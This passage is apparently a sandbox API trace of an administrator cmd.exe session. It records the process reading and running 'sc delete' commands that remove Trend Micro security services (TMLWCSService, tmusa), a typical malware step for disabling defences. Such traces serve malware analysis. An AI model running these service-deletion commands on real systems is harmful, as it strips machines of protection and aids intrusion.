_vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0068.405] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.405] GetFileType (hFile=0x120) returned 0x3 [0068.405] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.405] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0068.405] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0068.405] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.405] GetFileType (hFile=0xb8) returned 0x3 [0068.405] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.405] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.405] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.405] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete TMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0068.406] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.406] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.406] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.406] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete TMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0068.406] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.406] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.406] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.406] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete TMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0068.406] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.406] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.406] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.406] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete TMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0068.406] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.406] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.406] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.406] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete TMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0068.406] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.406] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.406] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.407] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete TMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0068.407] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.407] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.407] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.407] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete TMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0068.407] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.407] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.407] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.407] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te TMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0068.407] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.407] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.407] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.407] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e TMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0068.407] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.407] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.407] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.407] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" TMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0068.407] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.407] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.407] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.407] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="tMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0068.408] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.408] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.408] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.408] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="mLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0068.408] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.408] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.408] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.408] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="uWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0068.408] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.408] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.408] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.408] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="sCSService\n4-9.4\"\n\nA\"\n") returned 1 [0068.408] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.408] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.408] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.408] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="aSService\n4-9.4\"\n\nA\"\n") returned 1 [0068.408] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.408] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.408] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.408] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="\nService\n4-9.4\"\n\nA\"\n") returned 1 [0068.409] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.409] GetFileType (hFile=0xb8) returned 0x3 [0068.409] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.409] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.409] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.409] GetFileType (hFile=0x120) returned 0x3 [0068.409] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.409] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete tmusa\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete tmusa\n", lpUsedDefaultChar=0x0) returned 17 [0068.409] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x10, lpOverlapped=0x0) returned 1 [0068.409] GetProcessHeap () returned 0x1b0000 [0068.409] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1f8630 [0068.409] GetProcessHeap () returned 0x1b0000 [0068.409] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1f8630 | out: hHeap=0x1b0000) returned 1 [0068.409] GetProcessHeap () returned 0x1b0000 [0068.409] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0068.409] GetProcessHeap () returned 0x1b0000 [0068.409] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0068.409] GetProcessHeap () returned 0x1b0000 [0068.409] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x2c) returned 0x1c6510 [0068.409] GetConsoleOutputCP () returned 0x1b5 [0068.410] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0068.410] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.410] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.410] GetProcessHeap () returned 0x1b0000 [0068.410] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0068.410] GetProcessHeap () returned 0x1b0000 [0068.410] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x32) returned 0x1c6550 [0068.410] GetProcessHeap () returned 0x1b0000 [0068.410] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc5b0 [0068.410] SetErrorMode (uMode=0x0) returned 0x1 [0068.410] SetErrorMode (uMode=0x1) returned 0x0 [0068.410] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc5c0, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0068.411] SetErrorMode (uMode=0x1) returned 0x1 [0068.411] GetProcessHeap () returned 0x1b0000 [0068.411] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc5b0, Size=0x62) returned 0x1cc5b0 [0068.411] GetProcessHeap () returned 0x1b0000 [0068.411] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc5b0) returned 0x62 [0068.411] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0068.411] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0068.411] GetProcessHeap () returned 0x1b0000 [0068.411] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0068.411] GetProcessHeap () returned 0x1b0000 [0068.411] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0068.411] GetProcessHeap () returned 0x1b0000 [0068.411] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0068.411] GetProcessHeap () returned 0x1b0000 [0068.411] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0068.411] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0068.411] GetProcessHeap () returned 0x1b0000 [0068.411] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0068.411] GetProcessHeap () returned 0x1b0000 [0068.411] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0068.411] GetProcessHeap () returned 0x1b0000 [0068.411] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0068.411] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.411] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.412] GetLastError () returned 0x2 [0068.412] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.412] GetLastError () returned 0x2 [0068.412] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.412] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0068.412] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0068.412] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.412] GetLastError () returned 0x2 [0068.413] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0068.413] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0068.413] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.413] GetProcessHeap () returned 0x1b0000 [0068.413] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0068.413] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.413] GetProcessHeap () returned 0x1b0000 [0068.413] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0x98) returned 0x1c9180 [0068.413] GetProcessHeap () returned 0x1b0000 [0068.413] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0x98 [0068.413] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete tmusa") returned 1 [0068.414] GetProcessHeap () returned 0x1b0000 [0068.414] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0068.414] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0068.414] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0068.414] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0068.414] GetProcessHeap () returned 0x1b0000 [0068.414] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0068.414] GetProcessHeap () returned 0x1b0000 [0068.414] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0068.414] GetProcessHeap () returned 0x1b0000 [0068.414] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0068.415] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete tmusa", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete tmusa", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete tmusa", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0x364, dwThreadId=0x6dc)) returned 1 [0068.419] CloseHandle (hObject=0x50) returned 1 [0068.419] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0068.419] GetProcessHeap () returned 0x1b0000 [0068.419] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0068.419] GetEnvironmentStringsW () returned 0x1d1b10* [0068.419] GetProcessHeap () returned 0x1b0000 [0068.419] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0068.419] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.419] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0068.419] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd4000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0068.419] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0068.470] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0068.470] CloseHandle (hObject=0x54) returned 1 [0068.470] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0068.470] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0068.470] GetProcessHeap () returned 0x1b0000 [0068.470] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0068.470] GetEnvironmentStringsW () returned 0x1d1b10* [0068.470] GetProcessHeap () returned 0x1b0000 [0068.470] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0068.471] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.471] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0068.471] GetProcessHeap () returned 0x1b0000 [0068.471] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0068.471] GetEnvironmentStringsW () returned 0x1d1b10* [0068.471] GetProcessHeap () returned 0x1b0000 [0068.471] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0068.471] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.471] GetProcessHeap () returned 0x1b0000 [0068.471] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0068.471] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0068.471] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0068.472] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.472] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0068.472] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.472] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0068.472] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.472] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0068.472] GetConsoleOutputCP () returned 0x1b5 [0068.472] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0068.472] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.473] GetProcessHeap () returned 0x1b0000 [0068.473] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0068.473] GetProcessHeap () returned 0x1b0000 [0068.473] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0068.473] GetProcessHeap () returned 0x1b0000 [0068.473] HeapFree (in: hHeap=0x1b0000, 